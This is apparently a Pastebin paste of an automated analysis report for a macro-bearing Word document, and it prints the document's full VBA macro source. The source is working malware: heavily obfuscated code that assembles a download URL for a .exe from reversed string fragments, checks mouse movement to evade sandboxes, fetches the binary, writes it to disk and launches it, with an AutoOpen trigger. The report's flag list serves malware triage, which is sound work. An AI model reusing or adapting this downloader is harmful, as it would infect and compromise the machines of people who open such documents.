6382\nxboxbrabandslessonsrockycreatestb = 231 Xor 693\nFor changedrespondentfiltereconomiesrecallragottavsneturls = 2611 To 6886\nclerkfewdependentchampionshiptalkmx = 4984\nqualifyingbobbyswingersbehavioral = 1023 Xor 236\nNext changedrespondentfiltereconomiesrecallragottavsneturls\nNext urbanworkstationfemaleservaultperspectivesboobspichunter\nNext marketplacegovernmentscorrespondingmildemocracydifferencepraguepastepdascoins\ndrivenreleasedcomesbigger = Array(\"classicalderensemblemortgagenewcastleappealsgraph\", \"aptreceiversnormsolutionmeathealthcarematter\", \"discloseenzymeunknowncap\", \"treasurerdkfeeswellnesshornanticipatedisraelireferral\", \"soulssnjeffreyownscraftsdevelopingbizrateclassicdumb\", \"paradestrongdonnacoordinationpoliticallogin\", \"vonleavesuitskitscivilconcerning\")\nchangingperiodroutehopes = changingperiodroutehopes + Mid(\"indiansboatsooattendingsemiconductordefatodianelaboratorybasketslegendsspywarewatershedtranscriptsfrequentchristinepb\", 40, 3)\nfocusesfitssirearlierstruckresponsibilitiesmario = LTrim(\"voipsuperiorphysiciansvictimscollegedodgeoxfordcitizenshipexpensesinterference\")\nadequatehundredcampsagents = RTrim(\"compchargertobagotransforminstitutions\")\nchangingperiodroutehopes = changingperiodroutehopes + StrReverse(\"nesyr\")\nFor signatureleasingtourcontained = 7432 To 3071\nweaponssounddivxdeeplynvidiapermissionwebsitesunitynested = 3325\nDim companiesclosertipscomicsguruhighszoloftdecklistusertt As Variant\nNext signatureleasingtourcontained\nFor carryintroductorymatterswarehousesparcvalue = 4028 To 1167\nnintendovisitorofflinenewspapervariousarticlesassists = Not (648 > 17)\nseparatedbunnydistributesambaacercitizensspiritualitygeographicabstracts = Not (584 > 673)\nNext carryintroductorymatterswarehousesparcvalue\nchangingperiodroutehopes = changingperiodroutehopes + StrReverse(\"pgnid\")\nRem tearlondonnativebrazilianintoshifteffectiveinfringementlincolnaustin\n'computersaccommodateensuringfxconclusionsleesunny\nchangingperiodroutehopes = changingperiodroutehopes + StrReverse(\"epor\")\nliterallyoaksfragranceraisedfamousauto = Space(79)\nnamedtopicmannerstarsmerchantsurvivormarkersyanglinking = Array(\"cubicfebruarymedianmanuallyadvisor\", \"impliesdiscoveryreproducedsenate\", \"friendshiprocksmagicalcompanionwhereasfocuslotsdale\", \"hottestprojecthtmlpricespage\", \"mozillacruiseschargerclubharrisbeliefctheatoutputstulsa\", \"nlcartoonsaccommodationleontelevisiongoodsprenaturaljcministry\", \"antiquetrustnavypiecebusesdhanatomyballot\", \"accreditationtearscrossdu\", \"interfacebearscongressionallouisprovidersmsgministersmotorolarangersbritney\", \"cannonhughfrontierfingeringmidlandsutilizationsnapshotthink\", \"cursorentirelytimrenderedalikeoptics\", \"locatedbrooklynchicksdevelopercasiopiece\", \"cvenhancedbossramstylishjelsoft\", \"penndisciplinesinvolvesportfoliomacintoshsumtranssexualrequestingnilpeterson\", \"pennyphrasecassettehttpdeveloperfoldingdegreesfindarticlesunto\")\nchangingperiodroutehopes = changingperiodroutehopes + StrReverse(\"ttalr\")\n'beltrooftipseithereaframingcollectible\nRem emeraldattachmentsresumeslaidversethreateningmphhorrorbridal\nchangingperiodroutehopes = changingperiodroutehopes + StrReverse(\"ore\")\nescapevolumesattemptedstartedloadboymetro = Not (520 > 104)\nlodgingkingdomlifetimeplcmedallindsay = Not (806 < 811)\nchangingperiodroutehopes = changingperiodroutehopes + Mid(\"retrievezealandreportersdistinctstationeryfloristccupiconfidencedecbridalembeddedgtherbalpanelscategoriesraisesvid\", 50, 5)\nRem renaissancerunstheoryboyearningissueoptimization\nDim cheeseswitchpuertolouyesterdaytonewowselectedmichelimport As Variant\nchangingperiodroutehopes = changingperiodroutehopes + StrReverse(\"ahde\")\ntonedrawnsolomoncandidateblakeadipex = RTrim(\"proceduretelechargerofferingwhatmattindividuallyaudio\")\nDim testimonyjapstspecializingterminologyathleticsreed As String\nchangingperiodroutehopes = changingperiodroutehopes + Mid(\"endorsementconfiguremanchesterfiscaltrainwichitajackieattendedfilterrdrectilesauthoritiestomorrowgearmanualsomaliabibleshanghaizonecountry\", 69, 5)\nDim historicwideactivityberkeleyrenderingbitebudgets() As Byte\nnuclearescortpearlallowancebrookp = Array(\"patientovercomefundamentalrugsoctoberexpectsamazonblogginglookminneapolis\", \"obviouscontainjohnnycitysearchpermanentftp\", \"singaporeformaltitaniumattemptingnuttensympathyhintbedford\", \"biologyvbulletinthanksriceuscarmstrongmodel\", \"deercorporatehorsebubbleinterfaceegguserild\", \"coupledactivationyoungzshopssomeonequesteventmarie\", \"highestinsulationoccupationalcreatureslouiscoinsfeels\", \"answeredaskseldersoapuzzle\")\nchangingperiodroutehopes = changingperiodroutehopes + StrReverse(\"sno\")\nmessengerbowlinglistedaptcadillacalbanyknife = 631 Mod 446\nofferingsraiselooksmartharpervictims = 7716\nchangingperiodroutehopes = changingperiodroutehopes + StrReverse(\"tcurt\")\ngarminhongbelizeshirts = Not (537 > 204)\ninfantsdreamsrenewalresultsscannersbingoneighbor = LTrim(\"wyomingprocessespaboatsnightjudge\")\nchangingperiodroutehopes = changingperiodroutehopes + StrReverse(\"gnoi\")\nDim worthyseekheadercatchsupremescripting As Variant\n'pjsearchesdontpropecia\nchangingperiodroutehopes = changingperiodroutehopes + Mid(\"commissionsplentybreastgpsformatooramsstaysremainingbarbaramxyarn\", 35, 4)\nenlargeguineafearbatmanoildigesttestedstationcarol = Not (708 < 349)\nDim breakdowndicemerchantsneededcorpusjulianstruck As Variant\nlightboxshanghaiacmtourismallied = \"\"\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + StrReverse(\"tth\")\ngreatlyprivilegerjweatherutilsliechtensteincrossingfavouritesporter = Not (893 < 888)\n'pricepicturesawardsrobotdispositionfilingbutteruniversityobituaries\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + Mid(\"onlinetreearrivesuicidecaseyhungerlowerrestructuringps:participatedmeritsmithsonianinfectedbluetoothxi\", 53, 3)\nFor manufacturingfarmerbringingdeluxedolls = 3527 To 6168\nDim participatingroutinewadonnaana As Integer\nDim reservesthinkinggreatermassclassroomwear As Object\nNext manufacturingfarmerbringingdeluxedolls\nDim hugeguatemalachemicalslecturehlnegotiationmidcame() As Byte\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + Mid(\"printerdpisponsornhlssldslshootingmariokansas//thecareyjenniferpluginstatisticalrealchooseremove\", 46, 5)\nDim equationhafingerspayingswordrrmentionedonline() As Byte\nDim clickspastabetweencharacterizationfrsslformerlyshakespearewhygg As String\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + StrReverse(\"rae.\")\nholdingscheduledservicesstreaming = StrReverse(\"guardianensuresvarywebsitesidenticalslutscleaningcrystalchargedworkers\")\nRem saycatalogueashacknowledgepc\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + StrReverse(\"l.ht\")\nkenosingaporemargaretzoomrealized = Chr(137)\nDim paidpreciseolympicawarepmcsurprisingactively As Boolean\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + StrReverse(\"s~/i\")\nFor transmittedswingersdisappointedloanscourses = 1578 To 5135\nansystematicmoodconsistency = 587 Mod 847\nDim brunetteproperadatrackingreceivepresented As Object\nNext transmittedswingersdisappointedloanscourses\nlectureformguidelinesdeliciousfinancialhangingwaters = StrReverse(\"errormachineimplementedbiographynativeset\")\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + Mid(\"eddieianmanagementshakespearetmpgtasugarsawsagemrrduncanknew\", 33, 3)\noccupiedpricingcompoundcircumstancesouterprofessiontoughenjoyingsubjective = Space(17)\n'blanketfundraisingcharliesimpsonaugustsavannahadoptedcommhouston\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + StrReverse(\"/maht\")\nhamptonwholedownloadingfallkerry = Not (283 > 834)\nneuralhencesponsorshipforumsagriculturalitalianocoffee = Chr(116)\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + Mid(\"detectedgiveshandheldprinterpollputtytravelerhandjobconsolidationaluminiumcoupleenrollmentbloggerstripleanybody\", 33, 5)\ncomplicationsdbhourlynotifications = Space(4)\nFor webpagefootagetrmeetsappropriationsoperatorhistvillameta = 1510 To 4642\nreproductiveaddressflasherskdeconstitutemuslimtaggedcornspeechroad = Space(46)\n'developmentalcumshotjoelcoat\nNext webpagefootagetrmeetsappropriationsoperatorhistvillameta\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + Mid(\"dropsconsultancymayshortcutspremierrosapennyremainsmentorbradley/latefficientcharlottecoupleddallas\", 65, 4)\nFor reflectsprecedingcommentaryquotesbeach = 3807 To 2705\nrallyslightbidconflictsdiabetesbound = 2563\nDim frequentlyswitchingchoicestraditions As Object\nNext reflectsprecedingcommentaryquotesbeach\nDim shepherdlargerhabitatbridgesarthurfunctionality() As Byte\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + Mid(\"boasbestosshadeanyest/wbizratenbtakesmid\", 19, 5)\ntellingcalledcornellplatinumqueensfactsmedicines = Not (845 < 386)\ngenetictimeunixisraelienquiryargue = Space(95)\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + Mid(\"containersreceivessmilerapidly32/phungsecuritiesbasenamebuildingskenny\", 31, 4)\ndanstulsaambientagreescontrollingclearancemilftuesdaydownloadable = StrReverse(\"vesselasushatdakotamorrisyieldsefficientlyeasesenator\")\n'commandsforecastskuwaitgrillrangerssouthdamtalkedharvard\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + StrReverse(\".yttu\")\nremovingpursueatommexicanbeattony = LTrim(\"diversityjournalistsstakeholdersenabling\")\nresidentseasierwinscopyrightsusbfijiunlimitedwattweirdsomalia = Space(41)\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + StrReverse(\"exe\")\nDim sonusergcheersperformed() As Byte\nbrotheruntildeviationthreateningcosdentaladidas = LTrim(\"waterreceptiondianaassignmentbidsviolent\")\nbenchmovementsmodempointchefbeverageuserrdenatlantaopponentsconstitute = \"\"\nbenchmovementsmodempointchefbeverageuserrdenatlantaopponentsconstitute = benchmovementsmodempointchefbeverageuserrdenatlantaopponentsconstitute + Mid(\"fingerqualitiestraderfilterpatchcornersallegedusconvertedtechrepublicGETenhancementpicwnmicrosoftnuttranssexualartisticsheriff\", 70, 3)\ncircuitnecessaryencodingscholarshipmasterindirectbritain = 642 Mod 675\nDim syntaxallegedhandlinginvitedassociatepharmaceuticalszdnet() As Byte\nsyntheticalgeriatransmittedoccasionalfronttee = \"\"\nsyntheticalgeriatransmittedoccasionalfronttee = syntheticalgeriatransmittedoccasionalfronttee + Mid(\"lauradocumentchanneldickekuwaitqcattackrestrictfistingfatalarkansasretentionbloombergmetricabortionmercedesurbanprince\", 55, 5)\nellenherballoadadam = 548 Mod 811\nFor shinewitchenhancementmakelackconstitutionadventuresheavenperception = 5566 To 9978\n'amountswannaprovedclerkcomputingcertificate\n'samoaconsenttradechargingpayroll\nNext shinewitchenhancementmakelackconstitutionadventuresheavenperception\nsyntheticalgeriatransmittedoccasionalfronttee = syntheticalgeriatransmittedoccasionalfronttee + StrReverse(\"tegev\")\nbasketsgamempgforming = 119 Xor 126\nattractionsservingcsstomatopicturesangledamagedperth = Space(57)\nsyntheticalgeriatransmittedoccasionalfronttee = syntheticalgeriatransmittedoccasionalfronttee + StrReverse(\"selba\")\nDim codecapitolworstfalsedoverviewpictureguaranteesmajorityshorts As Object\nDim affectcosmeticensurecomparisons As Integer\nsyntheticalgeriatransmittedoccasionalfronttee = syntheticalgeriatransmittedoccasionalfronttee + Mid(\"characterizedratesmatchgeniusalldivinestylesjackbosncontextvoyuerloggedinclusionmsgstrproxy\", 49, 4)\nDim privilegeappointedkerryjewelrybubbleapartextheard As String\nlaunchedmarblepaypalhelpfulsterlingperformeddesignerrecyclingsomewhatcancellation = RTrim(\"preventioninvolvetaxvocalpioneercontributionspermitscommunistdts\")\nsyntheticalgeriatransmittedoccasionalfronttee = syntheticalgeriatransmittedoccasionalfronttee + Mid(\"integeroxidedonateprospectworldsexiamaksonicnamelyexteriorachieve\", 35, 5)\nDim williamputtingdickcoachianewslettersbackupeducationaldavidsoncontemporary As String\nDim nashvilleustestamentfathericonstoragelensgovernmentaldontkirk As Integer\nsyntheticalgeriatransmittedoccasionalfronttee = syntheticalgeriatransmittedoccasionalfronttee + StrReverse(\"rtgni\")\nFor materialstargetimpressionforces = 9803 To 5067\npacestevecoveragetelephonestopiftgp = RTrim(\"lightningfreightclerkpolyestergossipscareddetectoralbania\")\nrainoperationclarasavannahchansuspensionteensfactorsshermanexact = Not (788 < 960)\nNext materialstargetimpressionforces\nFor toddtransferredswmosslyricsdealtfw = 9045 To 7281\nterrorismadjusteddonorspig = LTrim(\"robustinteriororiginrfleglandsfaith\")\ncavesurveillanceindustrialviagranonesymbols = Array(\"meyerincddrwatershedregimenpbuysmuchbusty\", \"muslimspacukbennettseekers\", \"downcompetingtemperatureauthenticationaaa\", \"recordingfallsmadestudyingmarsservicesmozillanycsubject\", \"smokehousingbdcodechequemarblepolishscientistshiltonproblems\", \"clvesselsairlinesdirtsquaremiddetroitaccountingafternoon\", \"beddingappearingcareerscommittedcoordinateconsciousnessdurationirrigationpotter\", \"anybowldependingrespondedcambridgeearlierentertainmentcassettevenicetract\", \"zonespollutiondetectedsafe\", \"termbrightondisorderssynthetic\", \"cornerroughunauthorizedbgfrancisbikeexchangemuscleidentifypara\")\nNext toddtransferredswmosslyricsdealtfw\nsyntheticalgeriatransmittedoccasionalfronttee = syntheticalgeriatransmittedoccasionalfronttee + StrReverse(\"meda\")\nrevadmincustomisemarketfocusingappearedfederationproceedingqtyinfrared = LTrim(\"brutaldealtimemfproceduresinterfaceshelenadministered\")\n'similarlyintlcroppilotspacedevelopedformqueens\nsyntheticalgeriatransmittedoccasionalfronttee = syntheticalgeriatransmittedoccasionalfronttee + StrReverse(\"kra\")\nfavoritetarportionautomobilenegotiationvitaminstribute = Array(\"soapatmospherepostpostedcherry\", \"wornusbteachingsustainedfilenamebeautifullyversusfifteenexplosionhumanity\", \"olcasualhierarchytwentyexcludehalifaxtoshibamadagascaremphasis\", \"sparehandlemarijuanalexingtonstoodcache\", \"zucarloscustomertell\", \"literacyaskingeaglenewlypressingwaltdeservechristians\")\nRem charitableconnectiongaysghostshared\ncompletionhiltonadvisedapplianceovalmodulestypical = \"\"\ncompletionhiltonadvisedapplianceovalmodulestypical = completionhiltonadvisedapplianceovalmodulestypical + Mid(\"undertakenhearingshealthylolitaflooringelectronicMicroqueriesfarminghuntingtonhobbiesexamining\", 50, 5)\nsunshineprovenbooksswapchemicalsdistributorstrainmedlinepropositionwebcams = Not (1019 < 401)\nretainsonsinsulindestructionbloggers = 8556\ncompletionhiltonadvisedapplianceovalmodulestypical = completionhiltonadvisedapplianceovalmodulestypical + Mid(\"fredbarrelphantomdefectsaccordancefastestjackkatesoft.virginiahelpannouncementchestorganizeexpoestimation\", 50, 5)\nadultsspotshockgreekpeers = 3512\n'fetishphysiologyinsmouth\ncompletionhiltonadvisedapplianceovalmodulestypical = completionhiltonadvisedapplianceovalmodulestypical + StrReverse(\"LMX\")\nDim absencelearningconnectoracnetroublebreathblame As Object\nDim transformationpenaltiesmodellingdutylatinhumormachinerycopyrights As Variant\ncompletionhiltonadvisedapplianceovalmodulestypical = completionhiltonadvisedapplianceovalmodulestypical + StrReverse(\"PTTH\")\nrosesmeyerfilteroclc = Not (462 > 535)\nFor fluidjpgbrooksfloristcarolgeneratedestatestukeeping = 8510 To 2789\nmanagedbeautifulnvidiaangelsalariesexceptionalfeverequippedadvantage = Array(\"willchristmaswarmsegmentshammerdanishhrugsfingerhandhelds\", \"gymbiologycareeressentialscandylessyounger\", \"bloggershatsscoremailed\", \"managermetalliccheapestmasturbatingmotordiscussinsuranceapparel\", \"publicationsheatercampdialogue\", \"tripadvisorlatexcerptmaplethunderciconjunctionpmcdomestic\", \"strkeywordstraumaantiquesgalleriesshoreballethamiltonbidding\", \"seeingplannertwikiefficientoperatorscontainteenagesundayindian\", \"propertyhundredshoulderinvolvesclubs\")\nimportssupervisioncruisesentitledfolloweditiontrafficrwloranks = Not (894 < 280)\nNext fluidjpgbrooksfloristcarolgeneratedestatestukeeping\nfighterssixgotofingeringvelocityeithernicolesatcovering = Chr(209)\ncellseeksidecollegevilla = Space(97)\nDim dHyedsQ As String\ndHyedsQ = oeGlAa.puvwkN\nDim xtxsBiA As String\nSet objHTTP = CreateObject(\"WinHttp.WinHttpRequest.5.1\")\nobjHTTP.Open \"GET\", oeGlAa.puvwkN.Tag, False\nobjHTTP.send (\"\")\nxtxsBiA = objHTTP.responseText\n\noeGlAa.gJviGHz (xtxsBiA)\nEnd Sub"
  4409. ]
  4410. ],
  4411. "Macro1": [
  4412. [
  4413. "oeGlAa.frm",
  4414. "Function gJviGHz(ByVal xsXnzhB As String)\nDim auVWGWj As Integer\nauVWGWj = 0\nDim iyposEY As mAMxXtH\nDim dloeRTJ As mAMxXtH\n\nWhile auVWGWj <= 3\nGetCursorPos iyposEY\nIf dloeRTJ.jdFtJhQ = 0 Then\ndloeRTJ = iyposEY\nEnd If\nauVWGWj = auVWGWj + 1\nSleep 1000\nWend\nIf dloeRTJ.jdFtJhQ <> iyposEY.jdFtJhQ Then\nDim dDisZgD As Object, umLYsgF As Long, xoIhywM() As Byte\nDim bqfqFNu: Set bqfqFNu = jUYirTK(puvwkN.Value)\nzeaOKTm = kHAErx.Tag\nSet dDisZgD = jUYirTK(kHAErx.Value)\ndDisZgD.Open \"GET\", xsXnzhB, False\ndDisZgD.send\nDo While dDisZgD.readyState <> 4\nDoEvents\nLoop\nxoIhywM = dDisZgD.responseBody\numLYsgF = FreeFile\nDim loiTtSa As String\nloiTtSa = \"\"\nIf Dir(zeaOKTm) <> \"\" Then Kill zeaOKTm\nloiTtSa = \"plit\"\nOpen zeaOKTm For Binary As #umLYsgF\nPut #umLYsgF, , xoIhywM\nClose #umLYsgF\nIf loiTtSa <> \"\" Then\nCreateObject(hzmTpT.Tag).Open zeaOKTm\nEnd If\nEnd If\nEnd Function\n\n"
  4415. ]
  4416. ]
  4417. },
  4418. "Analysis": {
  4419. "Suspicious": [
  4420. [
  4421. "Kill",
  4422. "May delete a file"
  4423. ],
  4424. [
  4425. "Open",
  4426. "May open a file"
  4427. ],
  4428. [
  4429. "Binary",
  4430. "May read or write a binary file (if combined with Open)"
  4431. ],
  4432. [
  4433. "CreateObject",
  4434. "May create an OLE object"
  4435. ],
  4436. [
  4437. "Put",
  4438. "May write to a file (if combined with Open)"
  4439. ],
  4440. [
  4441. "Open",
  4442. "May open a file"
  4443. ],
  4444. [
  4445. "CreateObject",
  4446. "May create an OLE object"
  4447. ],
  4448. [
  4449. "Chr",
  4450. "May attempt to obfuscate specific strings"
  4451. ],
  4452. [
  4453. "StrReverse",
  4454. "May attempt to obfuscate specific strings"
  4455. ],
  4456. [
  4457. "Xor",
  4458. "May attempt to obfuscate specific strings"
  4459. ],
  4460. [
  4461. "Lib",
  4462. "May run code from a DLL"
  4463. ]
  4464. ],
  4465. "AutoExec": [
  4466. [
  4467. "AutoOpen",
  4468. "Runs when the Word document is opened"
  4469. ]
  4470. ]
  4471. }
  4472. },
  4473. "Metadata": {
  4474. "HasMacros": "Yes"
  4475. }
  4476. }
  4477. }
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!